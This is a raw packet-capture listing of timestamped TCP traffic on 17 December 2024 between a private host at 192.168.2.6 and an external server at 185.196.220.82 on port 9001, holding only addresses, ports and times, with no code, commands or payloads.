Dec 17, 2024 11:49:49.030340910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.031037092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.045890093 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.098028898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.098088980 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.098110914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.098225117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.098582029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.098737955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.098809004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.098856926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.099868059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.099910021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.099989891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.100033045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.100862026 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.100945950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.101005077 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.101041079 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.101922035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.101969004 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.102050066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.102257013 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.103308916 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.103351116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.103565931 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.103625059 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.104490995 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.104511023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.104531050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.104548931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.105174065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.105268002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.105350018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.105412960 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.106308937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.106360912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.106383085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.106626034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.107364893 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.107371092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.107436895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.108361959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.108433962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.108449936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.108491898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.109433889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.109520912 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.109617949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.109658957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.110846996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.110908985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.110924006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.111052990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.111716032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.111759901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.111798048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.111974955 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.112648964 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.112714052 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.112724066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.112749100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.112768888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.112811089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.113702059 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.113758087 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.113785028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.113826036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.114813089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.114871025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.114893913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.114974022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.115911961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.115957022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.115977049 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.115993023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.116990089 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.117031097 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.117060900 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.117094040 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.118083954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.118094921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.118135929 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.119030952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.119081974 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.119146109 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.119189024 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.120136976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.120234966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.120263100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.120263100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.121218920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.121265888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.121283054 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.121326923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.122733116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.122776985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.141273975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.180576086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.180615902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.180630922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.180655003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.180778027 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.180790901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.180819988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.180866957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.186811924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.186877966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.186916113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.186916113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.186955929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.186968088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.186979055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187004089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187024117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187225103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187344074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187366962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187400103 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187412024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187422991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187424898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187439919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187441111 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187464952 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187489033 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187892914 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187903881 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187935114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187938929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187949896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.187987089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187987089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.187987089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.188581944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.188591957 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.188623905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.188632965 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.188647032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.188683987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.189023972 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.189037085 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.189064026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.189079046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.189374924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.189385891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.189420938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.189440966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.189908028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.190025091 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.190136909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.190176010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.190763950 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.190808058 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.190884113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.190924883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.191365004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.191375971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.191412926 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.191947937 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.191989899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.209536076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.209551096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.209602118 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.209793091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.209863901 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.209892035 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.209929943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.210726023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.210737944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.210777044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.211287975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.211302042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.211340904 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.211363077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.211976051 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.212028027 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.212255001 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.212304115 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.212974072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.212985992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.213046074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.213639975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.213855028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.214042902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.214174986 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.214463949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.214529991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.214530945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.214560032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.215121984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.215176105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.215354919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.215444088 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.215893984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.216025114 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.216063976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.216103077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.216681004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.216754913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.216845036 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.216913939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.217516899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.217586994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.217603922 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.217700005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.218339920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.218406916 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.218442917 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.218508005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.218986988 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.219046116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.230551004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.235748053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.296653032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.296668053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.296740055 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.297089100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.297101021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.297152042 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.297823906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.297882080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.297950029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.297991037 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.298546076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.298646927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.298680067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.298733950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.299633980 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.299648046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.299696922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.300331116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.300379992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.300448895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.300508022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.301044941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.301057100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.301090956 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.301107883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.301778078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.301845074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.301850080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.301940918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.302547932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.302599907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.302678108 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.302728891 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.303287029 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.303356886 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.303400040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.303493023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.304109097 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.304204941 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.304246902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.304299116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.304845095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.304939032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.304964066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.304979086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.305704117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.305775881 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.305788040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.305855989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.306457996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.306519032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.306525946 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.306565046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.307337046 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.307349920 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.307394981 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.307408094 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.307974100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.308029890 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.308098078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.308139086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.308830023 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.308908939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.308943033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.309001923 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.309776068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.309788942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.309854031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.310331106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.310457945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.310503006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.310600996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.311176062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.311188936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.311235905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.311252117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.311891079 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.311953068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.311994076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.312037945 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.312730074 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.312787056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.312849998 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.312966108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.313463926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.313520908 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.313582897 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.313708067 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.314276934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.314342022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.371711969 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.371788979 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.371834993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.371962070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.371985912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.372045994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.372067928 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.372112989 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.372765064 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.372777939 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.372828007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.372847080 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.373369932 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.373857021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.373869896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.373912096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.373933077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.374311924 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.374363899 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.374424934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.374509096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.375189066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.375243902 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.375303984 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.375473976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.375986099 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.376033068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.376036882 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.376074076 CET	49784	9001	192.168.2.6	185.196.220.82
